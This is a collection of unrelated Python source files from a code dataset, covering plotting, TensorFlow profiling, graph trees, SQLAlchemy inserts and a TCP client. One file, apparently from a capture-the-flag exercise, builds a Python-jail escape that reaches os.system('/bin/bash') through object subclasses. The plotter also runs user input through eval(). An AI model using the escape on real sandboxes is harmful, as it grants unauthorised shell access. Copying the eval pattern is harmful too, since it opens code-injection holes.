matplotlib.figure import Figure \nfrom matplotlib.backends.backend_tkagg import (FigureCanvasTkAgg, \nNavigationToolbar2Tk)\n\n# Kaushal Banthia\n# 19CS10039\n\n# Class for Graphing the Equation after taking its input\nclass Graph:\n\n # Constructor\n def __init__(self):\n\n # Creating a new window\n self.root = Toplevel(root)\n\n # Setting the title for the new window\n self.root.title(\"Plot\")\n\n self.eq = None\n self.st = None\n self.en = None\n self.vals = None \n self.canvas = None\n \n # Creating Labels and Entry Boxes for the new window\n self.mylabel_equation = Label(self.root, text = \"Enter equation in x\")\n self.equation = Entry(self.root, borderwidth = 10)\n self.mylabel_start = Label(self.root, text = \"Enter start of the range for x\")\n self.start = Entry(self.root, borderwidth = 10)\n self.mylabel_end = Label(self.root, text = \"Enter end of the range for x\")\n self.end = Entry(self.root, borderwidth = 10)\n\n # Creating button to create the Graph. Calls the get_values() function on being clicked\n self.button = Button(self.root, text = \"CALCULATE\", padx = 30, pady = 7, command = self.get_values)\n\n # Calling the pack function defined by me to pack all the widgers\n self.pack()\n\n # Pack Function to pack all the created widgets\n def pack(self):\n\n # Calling pack() function on all the widgets to place them in the new window\n self.mylabel_equation.pack()\n self.equation.pack()\n self.mylabel_start.pack()\n self.start.pack()\n self.mylabel_end.pack()\n self.end.pack()\n self.button.pack()\n\n # The get_values() function is defined to be called when the CALCULATE button is clicked\n def get_values(self):\n \n # If the canvas exists then we destroy it\n if self.canvas != None:\n if self.canvas.get_tk_widget().winfo_exists():\n self.canvas.get_tk_widget().destroy()\n\n # Gets the text in the first Entry Box \n self.eq = self.equation.get()\n\n # Making some changes to make it compatible with the python eval() function\n self.eq = self.eq.replace('^', '**')\n self.eq = self.eq.replace('x', '(x)')\n\n # Gets the text in the second Entry Box and converts it to a number\n self.st = eval(self.start.get())\n\n # Gets the text in the third Entry Box and converts it to a number\n self.en = eval(self.end.get())\n\n # list that contains the value of the evaluated expression for a range of values of x\n self.vals = []\n\n # Loop that evaluates the value of the expression and then append it to vals\n for i in range((self.st), int(self.en) + 1, 1):\n new_eq = self.eq.replace('x', str(i))\n self.vals.append(eval(new_eq))\n\n # Creating a matplotlib Figure\n fig = Figure(figsize = (5, 5), dpi = 100) \n\n # adding the subplot \n plot1 = fig.add_subplot(111) \n \n # plotting the graph \n plot1.plot(range(int(self.st), int(self.en) + 1, 1), self.vals)\n \n # creating the canvas containing the Matplotlib Figure \n self.canvas = FigureCanvasTkAgg(fig, master = self.root) \n self.canvas.draw()\n \n # placing it on the Tkinter window \n self.canvas.get_tk_widget().pack()\n\n# Function to quit the program. Called when the Exit button is clicked\ndef quit():\n root.quit()\n\n# Main Function\nif __name__ == \"__main__\":\n\n # Creates the Root\n root = Tk()\n\n # Creates the object of the class Graph and calls its constructir\n g = Graph()\n\n # Creating button to quit the program. Calls the quit() function on being clicked\n button = Button(root, text = 'EXIT', command = quit, width = 15, height = 3)\n\n # Packing the button\n button.pack(pady=10)\n \n # The mainloop that keeps the program running\n root.mainloop()","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":4044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"642037148","text":"#!/usr/bin/env python3\n#- coding: utf-8 -\n\nimport numpy as np\nimport six.moves.urllib as urllib\nimport sys\nimport tarfile\nimport tensorflow as tf\nimport zipfile\n\nfrom collections import defaultdict\nfrom io import StringIO\nfrom PIL import Image\n\nimport argparse\nimport os\n\nfrom object_detection.utils import label_map_util\nfrom object_detection.utils import visualization_utils as vis_util\n\nfrom cg_profiler.cg_graph import CompGraph\n\ndef load_image_into_numpy_array(image):\n (im_width, im_height) = image.size\n return np.array(image.getdata()).reshape(\n (im_height, im_width, 3)).astype(np.uint8)\n\ndef main():\n\n parser = argparse.ArgumentParser(\n description=\"run inference by using specified model\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n parser.add_argument('model_name', help=\"specify the model name\")\n parser.add_argument('work_dir', help=\"specify the work space directory\")\n parser.add_argument('--model_dir', default=None,\n help=\"specify the dir storing models.\")\n\n args = parser.parse_args()\n\n model_dir = args.model_dir\n if model_dir is None:\n assert os.getenv('MODEL_INPUT_DIR') is not None\n model_dir = os.path.join(os.getenv('MODEL_INPUT_DIR'),\n 'object_detection')\n\n model_name = args.model_name\n model_file = model_name + '.tar.gz'\n tar_file = tarfile.open(os.path.join(model_dir, model_file))\n recorded_name = model_name\n for file in tar_file.getmembers():\n file_name = os.path.basename(file.name)\n if 'frozen_inference_graph.pb' in file_name:\n recorded_name = file.name\n tar_file.extract(file, args.work_dir)\n\n PATH_TO_LABELS = os.path.join('data', 'mscoco_label_map.pbtxt')\n PATH_TO_CKPT = os.path.join(args.work_dir, recorded_name)\n NUM_CLASSES = 90\n\n detection_graph = tf.Graph()\n with detection_graph.as_default():\n od_graph_def = tf.GraphDef()\n with tf.gfile.GFile(PATH_TO_CKPT, 'rb') as fid:\n serialized_graph = fid.read()\n od_graph_def.ParseFromString(serialized_graph)\n tf.import_graph_def(od_graph_def, name=model_name)\n\n label_map = label_map_util.load_labelmap(PATH_TO_LABELS)\n categories = label_map_util.convert_label_map_to_categories(\n label_map, max_num_classes=NUM_CLASSES,\n use_display_name=True)\n category_index = label_map_util.create_category_index(categories)\n\n PATH_TO_TEST_IMAGES_DIR = 'test_images'\n TEST_IMAGE_PATHS = [os.path.join(PATH_TO_TEST_IMAGES_DIR,\n 'image{}.jpg'.format(i))\n for i in range(1, 2)]\n\n with detection_graph.as_default():\n with tf.Session(graph=detection_graph) as sess:\n\n image_tensor = detection_graph.get_tensor_by_name(\n '{}/image_tensor:0'.format(model_name))\n detection_boxes = detection_graph.get_tensor_by_name(\n '{}/detection_boxes:0'.format(model_name))\n detection_scores = detection_graph.get_tensor_by_name(\n '{}/detection_scores:0'.format(model_name))\n detection_classes = detection_graph.get_tensor_by_name(\n '{}/detection_classes:0'.format(model_name))\n num_detections = detection_graph.get_tensor_by_name(\n '{}/num_detections:0'.format(model_name))\n\n for image_path in TEST_IMAGE_PATHS:\n image = Image.open(image_path)\n image_np = load_image_into_numpy_array(image)\n image_np_expanded = np.expand_dims(image_np, axis=0)\n\n options = tf.RunOptions(trace_level=tf.RunOptions.FULL_TRACE)\n run_metadata = tf.RunMetadata()\n\n results = sess.run([detection_boxes, detection_scores,\n detection_classes, num_detections],\n feed_dict={image_tensor: image_np_expanded},\n options=options, run_metadata=run_metadata)\n cg = CompGraph(model_name, run_metadata, detection_graph,\n keyword_filter=\"while\")\n\n cg_tensor_dict = cg.get_tensors()\n cg_sorted_keys = sorted(cg_tensor_dict.keys())\n #cg_sorted_shape = []\n #for cg_key in cg_sorted_keys:\n # print(cg_key)\n # t = tf.shape(cg_tensor_dict[cg_key])\n # cg_sorted_shape.append(t.eval(feed_dict={image_tensor: image_np_expanded},\n # session=sess))\n\n cg_sorted_items = []\n for cg_key in cg_sorted_keys:\n cg_sorted_items.append(tf.shape(cg_tensor_dict[cg_key]))\n\n cg_sorted_shape = sess.run(cg_sorted_items,\n feed_dict={image_tensor: image_np_expanded})\n cg.op_analysis(dict(zip(cg_sorted_keys, cg_sorted_shape)),\n '{}.pickle'.format(model_name))\n\n print('Image: {}, number of detected: {}'.format(\n image_path, len(results[3])))\n\nif __name__ == '__main__':\n main()\n","sub_path":"research/object_detection/run_infer.py","file_name":"run_infer.py","file_ext":"py","file_size_in_byte":5274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"168178466","text":"import sys\nimport numpy as np\nimport networkx as nx\nfrom networkx.drawing.nx_agraph import graphviz_layout\nimport matplotlib.pyplot as plt\n\ndef hierarchy_pos(G, root, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5 ):\n '''If there is a cycle that is reachable from root, then result will not be a hierarchy.\n\n G: the graph\n root: the root node of current branch\n width: horizontal space allocated for this branch - avoids overlap with other branches\n vert_gap: gap between levels of hierarchy\n vert_loc: vertical location of root\n xcenter: horizontal location of root\n '''\n\n def h_recur(G, root, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5, \n pos = None, parent = None, parsed = [] ):\n if(root not in parsed):\n parsed.append(root)\n if pos == None:\n pos = {root:(xcenter,vert_loc)}\n else:\n pos[root] = (xcenter, vert_loc)\n neighbors = G.neighbors(root)\n if parent != None:\n neighbors.remove(parent)\n if len(neighbors)!=0:\n dx = width/len(neighbors) \n nextx = xcenter - width/2 - dx/2\n for neighbor in neighbors:\n nextx += dx\n pos = h_recur(G,neighbor, width = dx, vert_gap = vert_gap, \n vert_loc = vert_loc-vert_gap, xcenter=nextx, pos=pos, \n parent = root, parsed = parsed)\n return pos\n\n return h_recur(G, root, width=1., vert_gap = 0.2, vert_loc = 0, xcenter = 0.5)\n\nclass Metabolite :\n def __init__(self, formula='', name='', smiles='', mass=0) :\n self.forumla = formula\n self.name = name\n self.smiles = smiles\n self.mass = mass\n\nclass Fragmentation :\n def __init__(self, name='', fragments=dict(), tree=dict()) :\n self.name = name\n self.fragments = fragments\n self.tree = tree\n self.replacement_nodes = None\n\n def load_from_file(self, filename, name='') :\n f = open(filename, 'r')\n self.name = name\n self.fragments = dict()\n self.tree = dict()\n num_fragments = int(f.readline().strip())\n for i in range(0,num_fragments) :\n fragment = f.readline().strip().split(' ')\n metab = Metabolite(mass=float(fragment[1]), smiles=fragment[2])\n self.fragments.update({int(fragment[0]):metab})\n self.tree.update({int(fragment[0]):[]})\n f.readline() # There's always a blank line in between the chlds and tree\n replacement_id = num_fragments\n replacement_dict = dict()\n for line in f : # Read remainder of file\n tree_element = line.strip().split(' ')\n parent = int(tree_element[0])\n child = int(tree_element[1])\n replace = False\n for k,v in self.tree.items() :\n if child in v and parent in v :\n print('Replacing ' + str(child))\n replace = True\n break\n child_list = self.tree[parent]\n replace = False\n if replace :\n child_list.append(replacement_id)\n #if child not in replacement_dict :\n # replacement_dict.update({child:[replacement_id]})\n #else :\n # rpids = replacement_dict[child]\n # rpids.append(replacement_id)\n # replacement_dict.update({child:rpids})\n replacement_dict.update({replacement_id:child})\n replacement_id += 1\n else :\n child_list.append(child)\n self.tree.update({parent:child_list})\n #for k,v in replacement_dict.items() :\n # for vv in v :\n print(self.tree)\n #print(replacement_dict)\n self.replacement_nodes = replacement_dict\n f.close()\n\n def plot_1d(self, frags=[]) :\n color_marker = ['rx', 'bx', 'gx']\n assert len(frags) <= len(color_marker)\n if len(frags) == 0 :\n no_additional = True\n else :\n no_additional = False\n count = 0\n plt.figure(figsize=(12, 4), facecolor='w', edgecolor='k')\n for f in frags :\n masses = []\n for k,v in f.fragments.items() :\n masses.append(v.mass)\n y = np.zeros((len(f.fragments),1))\n plt.plot(masses, y, color_marker[count], mew=2.5, ms=9, label=f.name)\n count += 1\n masses = []\n for k,v in self.fragments.items() :\n masses.append(v.mass)\n y = np.zeros((len(self.fragments),1))\n if no_additional :\n plt.plot(masses, y, 'kx', mew=2.5, ms=7, label=self.name)\n else :\n plt.plot(masses, y, 'kx', mew=1.5, ms=5, label=self.name)\n plt.xlabel('(m/z)')\n plt.yticks([])\n plt.grid()\n if no_additional :\n plt.title(self.name)\n else :\n plt.legend(loc='lower left')\n plt.show()\n\n def plot_tree(self) :\n node_list = []\n edges = []\n colormap = []\n \"\"\"\n for k,v in self.replacement_nodes.items() :\n node_list.append(k)\n node_list.append(v)\n colormap.append(float(np.random.random(1)))\n for k in self.tree.keys() :\n if k not in node_list :\n node_list.append(k)\n colormap.append(1.0)\n for s,ds in self.tree.items() :\n for d in ds :\n edges.append((s,d))\n \"\"\"\n\n tree = nx.Graph() \n node_list = self.tree.keys()\n num_nodes = len(node_list)\n i = 0\n tree.add_nodes_from(node_list)\n for s,ds in self.tree.items() :\n for d in ds :\n tree.add_edge(s,d)\n #edges.append((s,d))\n try :\n nx.find_cycle(tree)\n tree.remove_edge(s,d)\n tree.add_edge(s, num_nodes+i)\n i += 1\n except :\n pass\n\n pos = hierarchy_pos(tree,0)\n nx.draw(tree, pos, with_labels=True, with_color=colormap)\n plt.show()\n\nclass MetlinFragmentation(Fragmentation) :\n def __init__(self, name='', fragments=dict(), energy_level=40, mode='pos') :\n Fragmentation.__init__(self, name=name, fragments=fragments)\n self.energy_level = energy_level\n self.mode = mode\n\n def load_from_file(self, filename, name='', energy_level=40, mode='pos') :\n f = open(filename, 'r')\n self.name = name\n self.energy_level = energy_level\n self.mode = mode\n self.fragments = dict()\n id = 0\n for line in f :\n mass = float(line.strip())\n metab = Metabolite(mass=mass)\n self.fragments.update({id:metab})\n id += 1\n f.close()\n","sub_path":"python/Fragment.py","file_name":"Fragment.py","file_ext":"py","file_size_in_byte":6995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"520497744","text":"#!/usr/bin/python\n\nimport sys\n_input = ('A'*4+'B'*4+'C'*4+'D'*4+'E'*4)*4\nindex = 0\ntry:\n\t_input = sys.argv[1]\n\tindex = sys.argv[2]\nexcept IndexError:\n\tpass\n\nprint('__builtins__[{}]=[]'.format(index))\ndef split_code(code):\n\ts = '__builtins__[{}].append(\"'.format(index)\n\tn = len(s) + 2\n\ti = 0\n\tj = 35 - n\n\twhile j < len(code):\n\t\tif code[i:j][-1] == '\\\\':\n\t\t\tprint(s + code[i:j-1] + '\")')\n\t\t\tsplit_code('\\\\' + code[j:])\n\t\t\treturn\n\t\tprint(s + code[i:j] + '\")')\n\t\tbuf = j\n\t\tj += (j-i)\n\t\ti = buf\n\tprint(s + code[i:j] + '\")')\n\n\ndef split_code2(code):\n\ts = '__builtins__[1](\"'\n\tn = len(s) + 2\n\ti = 0\n\tj = 35 - n\n\twhile j < len(code):\n\t\tif code[i:j][-1] == '\\\\':\n\t\t\tprint(s + code[i:j-1] + '\")')\n\t\t\tsplit_code2('\\\\' + code[j:])\n\t\t\treturn\n\t\tprint(s + code[i:j] + '\")')\n\t\tbuf = j\n\t\tj += (j-i)\n\t\ti = buf\n\tprint(s + code[i:j] + '\")')\n\nl =\\\n[\n\t'def f(s):\\\\n\\\\t__builtins__[0]=__builtins__[0]+s[:35]\\\\n\\\\tprint(s[:35])\\\\n__builtins__[1]=f',\n\t'l=().__class__.__base__.__subclasses__()\\\\n',\n\t'i=0\\\\nfor s in l:\\\\n\\\\tprint(i,s)\\\\n\\\\ti=i+1\\\\n',\n\t\"m=[x for x in l if x.__name__=='catch_warnings'][0]\\\\n\",\n\t\"print(m.__dict__)\\\\n\",\n\t\"n=m.__repr__.im_func.__globals__\\\\n\",\n\t\"for gl in n.keys():\\\\n\\\\tprint(gl,n[gl])\\\\n\",\n\t\"os=n['linecache'].os\\\\n\",\n\t\"os.system('/bin/bash')\\\\n\"\n]\n\nsplit_code(l[0])\nprint('1;exec \\'\\'.join(__builtins__[0])')\nprint('__builtins__[0]=\"\"')\nfor c in l[1:]:\n\tsplit_code2(c)\nprint('1;exec __builtins__[0]')\n\n# Or shorter:\nprint(\"__builtins__[0]=[]\")\ncode = \"[x for x in ().__class__.__base__.__subclasses__() if x.__name__=='catch_warnings'][0].__repr__.im_func.__globals__['linecache'].os.system('/bin/bash')\"\nsplit_code(code)\nprint('1;exec \\'\\'.join(__builtins__[0])')\n\n","sub_path":"app-script/python_pyjail_3/payload.py","file_name":"payload.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"11178200","text":"d={}\n\n# index is either list of 0..3, or int\n\n\nq = {}\nfor depth in range(4):\n for d in range(depth):\n pass\n'''\nfirst 0..n-1 are 1st layer nodes\nn..n(n+1)-1 are second layer\nn(n+1)..\n\n0\n 1,2,3,4\n 5,6,7,8\n 9,10,11,12\n 13,14,15,16\n 17,18,19,20\n\n etc\n14 is 3\n14 / 4 = 3\n\n'''\n\nfor a in range(5):\n parent = (a-1)//4\n if parent not in q: q[parent] = []\n q[parent].append(a)\n\n# for a in q:\n# print(a, q[a])\nif False:\n for a in range (10):\n l = []\n decr = a\n l.append(a)\n while decr > 0:\n l.append(decr//4)\n decr//=4\n l.reverse()\n print (a, l)\n\n# size_t child(size_t parent, size_t shift) { return 4 * parent + shift; }\ndef child(parent, shift): return 4*parent+shift\ndef parent(i):\n return (i-1)//4\ndef rewind(i):\n # l = [i]\n ret =[]\n while i:\n ret.append(i)\n i = parent(i)\n return ret\ndef rewind14(i):\n # l = [i]\n ret =[]\n while i:\n ret.append(((i-1)%4)+1)\n i = parent(i)\n return ret\n\ndef index(l):\n parent = 0\n ret = []\n for a in l:\n parent = child(parent,a)\n ret.append(parent)\n return ret\n\nl=[\n [2,1,3],\n [0,0,0],\n [3,3,3]\n]\n# for a in l:\n# print(a, index(a))\nfrom itertools import product as p\nfrom itertools import combinations_with_replacement as c\nfor depth in range(3):\n for a in p(range(1,5),repeat=depth):\n # if len(a) == 1: continue\n down = index(a)\n if not len(down): continue\n print(down[-1],a,down,rewind(down[-1]),rewind14(down[-1]))\n\n\n'''\n0\n 1,2,3,4\n 5,6,7,8\n 9,10,11,12\n 13,14,15,16\n 17,18,19,20\n'''","sub_path":"the-great-sort/toycode/gamealgo/quadtree-rewind.py","file_name":"quadtree-rewind.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"350561877","text":"'''\n@author : kongweikun\n@file : 70climbingStairs.py\n@time : 18-8-26 下午9:44\n@contact : kongwiki@163.com\n'''\n\"\"\"\n爬楼梯每次只能走1或2步\nExample 1:\n\nInput: 2\nOutput: 2\nExplanation: There are two ways to climb to the top.\n1. 1 step + 1 step\n2. 2 steps\nExample 2:\n\nInput: 3\nOutput: 3\nExplanation: There are three ways to climb to the top.\n1. 1 step + 1 step + 1 step\n2. 1 step + 2 steps\n3. 2 steps + 1 step\n\n\"\"\"\n\ndef climbStairs(n):\n if n <= 2:\n return n\n dp = [0 for _ in range(n)]\n print(dp)\n dp[0] = 1\n dp[1] = 2\n for i in range(2,n):\n dp[i] = dp[i-1] + dp[i-2]\n print(dp)\n return dp[n-1]\n\nassert climbStairs(6) == 13\n\n","sub_path":"LeetCode/Easy/70climbingStairs.py","file_name":"70climbingStairs.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"183366603","text":"from create import Customer, Item, Order, OrderLine, Base, Session\n\n### Inserting data to database By objects\n\n# lets create two customer objects \n\nsession = Session()\n\nc1 = Customer(\n first_name = \"John\", \n last_name = \"Lara\", \n username = \"johnlara\", \n email = \"johnlara@mail.com\"\n)\n\nc2 = Customer( \n first_name = \"Sarah\", \n last_name = \"Tomlin\", \n username = \"sarahtomlin\", \n email = \"sarahtomlin@mail.com\" \n)\n\nc3 = Customer(first_name = 'Toby', \n last_name = 'Miller', \n username = 'tmiller', \n email = 'tmiller@example.com'\n )\n\nc4 = Customer(first_name = 'Scott', \n last_name = 'Harvey', \n username = 'scottharvey', \n email = 'scottharvey@example.com'\n )\n\n\n\ni1 = Item(name = 'Chair', cost_price = 9.21, selling_price = 10.81)\ni2 = Item(name = 'Pen', cost_price = 3.45, selling_price = 4.51)\ni3 = Item(name = 'Headphone', cost_price = 15.52, selling_price = 16.81)\ni4 = Item(name = 'Travel Bag', cost_price = 20.1, selling_price = 24.21)\n\n\no1 = Order(customer = c1)\no2 = Order(customer = c1)\n\nline_item1 = OrderLine(order = o1, item = i1, quantity = 3)\nline_item2 = OrderLine(order = o1, item = i2, quantity = 2)\nline_item3 = OrderLine(order = o2, item = i1, quantity = 1)\nline_item3 = OrderLine(order = o2, item = i2, quantity = 4)\n\n\nsession.add_all([c1,c2,c3,c4])\n\nsession.add_all([i1,i2,i3,i4])\n\nsession.add_all([o1, o2])\n\nsession.new\nsession.commit()\n\n\n","sub_path":"insertvalue.py","file_name":"insertvalue.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"305234891","text":"'''\ndata:2020-01-11\n'''\n#一个数等于它所有的因子之和,称之为完数,找出2-1000中的这个数\nfrom sys import stdout\n'''\ndef find_numb(num):\n \n for i in range(1,num):\n k = []\n sum = 0\n for j in range(1,i):\n if i % j == 0:\n sum = sum + j\n k.append(j)\n if sum == i:\n print(i)\n\nfind_numb(100)\n'''\n\n#详细解法\na = 2\nhalf = 0 #为此时计算数字的一半\nMylist = [] #保存不是素数的所有分解因子\nflag = False #判断是否有分解因子\nsum = 0\nwhile a <= 1000:\n half = a //2\n while half >= 1:\n if a % half == 0:\n Mylist.append(half)\n flag = True\n half = half -1\n if flag == True:\n for x in Mylist:\n sum += x\n if sum == a:\n print(a,'是完数')\n for y in Mylist:\n print(y,end=' ')#end是不要换行,间隔为一个空格\n print('\\n')#\\n代表换行\n #a+1后初始化条件\n a = a+1\n Mylist = []\n flag = False\n sum = 0\n\n","sub_path":"python_excise/python04.py","file_name":"python04.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"558261339","text":"import socket\r\nimport sys\r\nimport bson\r\nimport json\r\nimport struct\r\nimport hashlib\r\nfrom time import time\r\n\r\nHOST = 'localhost' # The remote host\r\nPORT = 8085 # The same port as used by the server\r\n\r\nmode = 1\r\n\r\nclass HashNotEqual(Exception):\r\n def __init__(self):\r\n super().__init__()\r\n def __str__(self):\r\n return \"Hashes not equal\"\r\n\r\nclass Client:\r\n\r\n def __init__(self):\r\n self._sock = None\r\n\r\n def connect(self, host, port, mode):\r\n for res in socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM):\r\n af, socktype, proto, canonname, sa = res\r\n try:\r\n s = socket.socket(af, socktype, proto)\r\n except socket.error as msg:\r\n s = None\r\n continue\r\n try:\r\n s.connect(sa)\r\n except socket.error as msg:\r\n s.close()\r\n s = None\r\n continue\r\n break\r\n return False\r\n if s is None:\r\n return False\r\n self._sock = s\r\n self._mode = mode\r\n self._dgram = None\r\n\r\n def __read_packet__(self):\r\n tmp = self._sock.recv(16)\r\n main_headers = struct.unpack('IIII', tmp)\r\n main_data = self._sock.recv(main_headers[0] - 16)\r\n if main_headers[3] == 2:\r\n data = json.loads(main_data.decode())\r\n else:\r\n try:\r\n data = bson.loads(main_data)\r\n except:\r\n print(main_data)\r\n return {\r\n 'size': main_headers[0],\r\n 'packet_id': main_headers[1],\r\n 'packet_part': main_headers[2],\r\n 'mode': main_headers[3],\r\n 'message': data\r\n }\r\n\r\n def __receive_big_packet__(self):\r\n parts = []\r\n first_packet = self.__read_packet__()\r\n current_packet = None\r\n data_hash = None\r\n control_hash = hashlib.sha256()\r\n\r\n while(True):\r\n current_packet = self.__read_packet__()\r\n try:\r\n data = current_packet['message']['data']\r\n control_hash.update(data)\r\n parts.append(data)\r\n except KeyError:\r\n data_hash = current_packet['message']['hash']\r\n break\r\n if data_hash == control_hash.digest():\r\n return first_packet,parts,data_hash\r\n else:\r\n raise HashNotEqual\r\n\r\n def __write_packet__(self, packet_id, packet_part, msg):\r\n msg['trunc']=False\r\n if self._mode == 2:\r\n packed = json.dumps(msg).encode()\r\n else:\r\n print(msg)\r\n packed = bson.dumps(msg)\r\n main_headers = struct.pack('IIII', 16 + len(packed), packet_id, packet_part, self._mode)\r\n buff = main_headers + packed\r\n self._sock.sendall(buff)\r\n\r\n def scan_dir(self, path):\r\n self.__write_packet__(0, 0, {'request': 'ls-l', 'path': path})\r\n return self.__read_packet__()\r\n\r\n def get_file(self, path):\r\n self.__write_packet__(0, 0, {\r\n 'request': 'rest',\r\n 'method': 'get',\r\n 'path': path\r\n })\r\n return self.__receive_big_packet__()\r\n\r\n def get_port(self):\r\n self.__write_packet__(0, 0, {\r\n 'request': 'dgram'\r\n })\r\n response = self.__read_packet__()\r\n print(response)\r\n self._dgram = response['message']['response']['port']\r\n return self._dgram is not None\r\n\r\n def __del__(self):\r\n self._sock.close()\r\n\r\ndef main():\r\n pass\r\n\r\nif __name__ == \"__main__\":\r\n client = Client()\r\n client.connect(HOST,PORT, 1)\r\n\r\n #\"\"\"\r\n start = time()\r\n sc_dir = client.scan_dir('/home/yang')\r\n print(time()-start)\r\n #print(sc_dir)\r\n #\"\"\"\r\n start = time()\r\n sc_dir = client.scan_dir('/home/yang/calibre_library')\r\n print(time()-start)\r\n #print(sc_dir)\r\n start = time()\r\n sc_dir = client.scan_dir('/home/yang/Downloads')\r\n print(time()-start)\r\n #print(sc_dir)\r\n\r\n start = time()\r\n get_file = client.get_file('/home/yang/test')\r\n print(time()-start)\r\n","sub_path":"bson_tcp_client.py","file_name":"bson_tcp_client.py","file_ext":"py","file_size_in_byte":4152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"442377958","text":"import os\nimport logging\nfrom Bcfg2.Bcfg2Py3k import ConfigParser\nfrom Bcfg2.Server.Plugins.Packages import *\n\nlogger = logging.getLogger('Packages')\n\nclass PackagesConfig(Bcfg2.Server.Plugin.FileBacked,\n ConfigParser.SafeConfigParser):\n def __init__(self, filename, fam, packages):\n Bcfg2.Server.Plugin.FileBacked.__init__(self, filename)\n ConfigParser.SafeConfigParser.__init__(self)\n\n self.fam = fam\n # packages.conf isn't strictly necessary, so only set a\n # monitor if it exists. if it gets added, that will require a\n # server restart\n if os.path.exists(self.name):\n self.fam.AddMonitor(self.name, self)\n\n self.pkg_obj = packages\n\n def Index(self):\n \"\"\" Build local data structures \"\"\"\n for section in self.sections():\n self.remove_section(section)\n self.read(self.name)\n self.pkg_obj.Reload()\n","sub_path":"src/lib/Server/Plugins/Packages/PackagesConfig.py","file_name":"PackagesConfig.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"210804520","text":"import os\nimport pytest\nimport shutil\nimport threading\n\nfrom core.driver import WebDriver\nfrom core.temp_mail import TempMailApi\nfrom logs import logger\n\n\n@pytest.fixture(scope='function')\ndef mailapi():\n tmapi = TempMailApi(os.getenv('EMAIL_LOGIN', 'federiko'))\n yield tmapi\n del tmapi\n\n\n@pytest.fixture(scope='session')\ndef browser():\n driver = WebDriver()\n driver.start_session()\n yield driver\n driver.close_session()\n del driver\n\n\ndef pytest_configure(config):\n logger.info('Start py.test configuring')\n scr_dir = 'screenshots'\n\n if not os.path.exists(scr_dir):\n logger.info(' ... create screenshots dir')\n os.mkdir(scr_dir)\n else:\n logger.info(' ... delete screenshots')\n for file in os.listdir(scr_dir):\n os.unlink(os.path.join(scr_dir, file))\n logger.info('Start executing:')\n\n\ndef pytest_collection_finish(session):\n session.running_tests_names = tuple(item.name for item in session.items)\n session.failed_tests_names = []\n\n\ndef pytest_runtest_protocol(item, nextitem):\n dependent = item.get_closest_marker('dependent', None)\n if dependent:\n for arg in dependent.args:\n if arg in item.session.failed_tests_names or arg not in item.session.running_tests_names:\n item.add_marker(pytest.mark.skip(reason='Superior test {0!r} failed/skipped'.format(arg)))\n\n\ndef pytest_runtest_setup(item):\n print('\\n')\n threading.current_thread()._name = item.name\n logger.info('==== Run fixtures ====:')\n\n\ndef pytest_runtest_call(item):\n logger.info('=======================')\n logger.info('Run test')\n\n\ndef pytest_runtest_teardown(item, nextitem):\n print('\\n')\n logger.info('Stop test')\n logger.info('==== Stop fixtures ====')\n\n\ndef pytest_runtest_makereport(item, call):\n if call.excinfo is not None:\n item.session.failed_tests_names.append(item.name)\n\n if call.excinfo.typename != 'Skipped':\n if 'browser' in item.funcargnames:\n item.funcargs['browser'].save_screenshot(item.name)\n","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":2065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"95839570","text":"import sys\nfrom collections import deque\nr = lambda :sys.stdin.readline().strip()\nw = lambda x:sys.stdout.write(x)\nn, m = map(int, r().split())\nns=[i for i in range(1, n+1)]\nchk=[0]*n\ncnt = 0\nresult=[]\ncursor = m-1\nwhile True:\n chk[ns[cursor]-1] = 1\n result.append(ns[cursor])\n cnt += 1;\n if cnt == n:\n break\n mcnt = m\n while mcnt:\n cursor += 1\n if cursor == n:\n cursor = 0\n if chk[cursor]:\n continue\n if not chk[cursor]:\n mcnt -= 1\n\n\nw(\"<\")\nw(\", \".join(str(c) for c in result))\nw(\">\\n\")","sub_path":"deque/josephuss_1168.py","file_name":"josephuss_1168.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"638625614","text":"from typing import Dict, List\n\n\nclass Movie(object):\n def __init__(self, title, year, imdb_id, movie_type, poster):\n self.title = title\n self.year = year\n self.imdb_id = imdb_id\n self.movie_type = movie_type\n self.poster = poster\n\n def to_dict(self):\n return {\n \"title\": self.title,\n \"year\": self.year,\n \"imdb_id\": self.imdb_id,\n \"movie_type\": self.movie_type,\n \"poster\": self.poster\n }\n\n\nclass MovieFactory(object):\n @staticmethod\n def get_movie(movie_data: Dict) -> Movie:\n try:\n title = movie_data[\"Title\"]\n year = movie_data[\"Year\"]\n imdb_id = movie_data[\"imdbID\"]\n movie_type = movie_data[\"Type\"]\n poster = movie_data[\"Poster\"]\n\n movie = Movie(title, year, imdb_id, movie_type, poster)\n return movie\n except Exception as _e:\n raise Exception(_e)\n\n @staticmethod\n def get_movies(movie_data_list: List[Dict[str, str]]) -> List[Movie]:\n movies = []\n for movie_data in movie_data_list:\n m = MovieFactory.get_movie(movie_data)\n movies.append(m)\n return 